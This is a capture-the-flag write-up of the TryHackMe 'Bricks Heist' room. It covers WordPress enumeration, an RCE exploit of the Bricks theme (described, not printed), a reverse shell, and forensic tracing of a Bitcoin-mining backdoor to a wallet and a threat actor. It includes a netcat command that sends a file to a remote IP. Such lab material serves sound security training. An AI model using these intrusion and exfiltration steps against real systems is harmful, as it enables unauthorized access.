TryHack3M: Bricks Heist

Crack the code, command the exploit! Dive into the heart of the system with just an RCE CVE as your key. - by umairalizafar, ujohn and l000g1c


Recon

We run a Nmap scan and discover four open ports, on port 22 SHH, a web server behind 80 and 443 as well as a MySQL 3306 are open.

When calling up the page on port 80 we receive an error response, the method GET is not allowed, let's firstly move to 443 to check the same behavior.

On 443, we see on the index page only a picture of a wall with the caption brick by brick, mmh that sounds familiar after a WordPress plugin, let's investigate.

We run a Gobuster scan to enumerate all possible directories and find the directoreis wp-admin, wp-content and wp-includes, we are actually dealing with WordPresss, and maybe face that recent vulnerable plugin.

┌──(0xb0b㉿kali)-[~]
└─$ gobuster dir -u http://bricks.thm -w /usr/share/wordlists/dirb/big.txt --exclude-length 472

The robtos.txt also confirms these directories on the web server.

And we see with the WordPress scan that we are actually dealing with the vulnerable version: 1.9.5 of bricks, which allows us to use RCE.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/bricks]
└─$ wpscan --url https://bricks.thm --disable-tls-checks
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: https://bricks.thm/ [10.10.86.46]
[+] Started: Mon Apr 15 10:52:25 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: server: Apache
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: https://bricks.thm/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: https://bricks.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://bricks.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://bricks.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5 identified (Insecure, released on 2024-04-02).
 | Found By: Rss Generator (Passive Detection)
 |  - https://bricks.thm/feed/, <generator>https://wordpress.org/?v=6.5</generator>
 |  - https://bricks.thm/comments/feed/, <generator>https://wordpress.org/?v=6.5</generator>

[+] WordPress theme in use: bricks
 | Location: https://bricks.thm/wp-content/themes/bricks/
 | Readme: https://bricks.thm/wp-content/themes/bricks/readme.txt
 | Style URL: https://bricks.thm/wp-content/themes/bricks/style.css
 | Style Name: Bricks
 | Style URI: https://bricksbuilder.io/
 | Description: Visual website builder for WordPress....
 | Author: Bricks
 | Author URI: https://bricksbuilder.io/
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.9.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://bricks.thm/wp-content/themes/bricks/style.css, Match: 'Version: 1.9.5'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:51 <============================================================================> (137 / 137) 100.00% Time: 00:00:51

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Apr 15 10:53:52 2024
[+] Requests Done: 170
[+] Cached Requests: 7
[+] Data Sent: 41.448 KB
[+] Data Received: 110.502 KB
[+] Memory used: 277.684 MB
[+] Elapsed time: 00:01:27

Initial Access

We familiarize ourselves with the security gap:

After a short research, we find a poc to get us a shell.

After cloning the repository, installing the requirements and executing the exploit, we get a shell.

We are the user apache and in the directory directly located to us, we find the hidden.txt which contains the first flag for the first question. Next, we upgrade the shell by using busybox to spawn a new reverse shell.

We then upgrade the shell after getting a connection to our listener.

If one of the automated exploits you can find doesn't work, we can turn to manual poc as an alternative. This is also depicted in the repository above.

First, we get the nonce using cURL and grep. Then we insert host and nonce to execute arbitrary commands on the system.

Analyzing Services And Running Processes

The next two questions are: What is the name of the suspicious process? What is the service name affiliated with the suspicious process? We try to answer those by checking out suspicious services first, we find an ubunut.service with a description fitting to the room.

systemctl list-units --type=service --state=running

To confirm that it might be the suspicious on, we check the status of the service to get eventually the running suspicious process. We see it is running nm-inet-dialog. Kinda odd that this is running that binary. After having downloaded that to our machine and checked it via Ghidra / Strings, it does not look like what it is supposed to be. Confirming that by testing the binary on Virustotal. We are already anticipating that these are the suspected service and process. Next, we described how we brought the binary onto our machine and analyzed it.

systemctl status ubuntu.service

Further Investigation With Virustotal

There is a neat little trick if we have netcat available on our machine to transfer files. A short overview can be found here:

Run the following first on the receiving machine:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/TryHack3M/bricks]
└─$ nc -l -p 1234 > nm-inet-dialog

Next, we transfer the file with the following command on the sending machine.

nc -w 3 10.8.211.1 1234 < nm-inet-dialog

We pass the binary to Virustotal and see that it is indeed flagged as malicious, in the description of the room we can see that is has to be miner related.

To answer the question, what the log file name of the miner instance is, we can investigate the opened files by the binary shown in virustotal.

There are some, but one stands out, since it is in the same directory as the binary itself, inet.conf.

Inside this we find an ID, looks like a bunch of hex.

apache@tryhackme:/home/ubuntu$ cat /usr/lib/NetworkManager/inet.conf
ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d
2024-04-08 10:46:04,743 [*] confbak: Ready!
2024-04-08 10:46:04,743 [*] Status: Mining!
2024-04-08 10:46:08,745 [*] Miner()
2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started
2024-04-08 10:46:08,745 [*] Status: Mining!
2024-04-08 10:46:10,747 [*] Miner()
2024-04-08 10:46:12,748 [*] Miner()
2024-04-08 10:46:14,751 [*] Miner()
2024-04-08 10:46:16,753 [*] Miner()
2024-04-08 10:46:18,755 [*] Miner()
2024-04-08 10:46:20,757 [*] Miner()
2024-04-08 10:46:22,760 [*] Miner()
2024-04-08 10:46:24,762 [*] Miner()

Let's pass it to CyberChef after decoding it from hex in CyberChef we see it resolve to a Base64 string and this again resolve also to Base64. After decoding it completely, we receive a bc1 wallet address.

A Bitcoin address starting with bc1, is a Bech32 address which is part of the SegWit (Segregated Witness) protocol enhancement for Bitcoin. This type of address is already a standard and is widely supported for use in Bitcoin transactions. It is preferred by many due to its benefits in efficiency and reduced transaction fees.

That's the one referring to the penultimate question.

But be careful, these are two concatenated bc1 addresses, if you look carefully, it starts with bc1 again from the middle. So for the answer, we only need the first half.

Using google we can find some address search pages for Bitcoin addresses.

We are able to spot the wallet, and see some transaction. We go through all the transactions and search for all the addresses we find here in the list. Further down, we find a transaction of about 11 bitcoins to <REDACTED>z07r

Searching the plain address via Google, it resolves to a sanctions page where we find a name and email of the attacker.

Scrolling the search results further down, we are able to identify the threat actor:

Last updated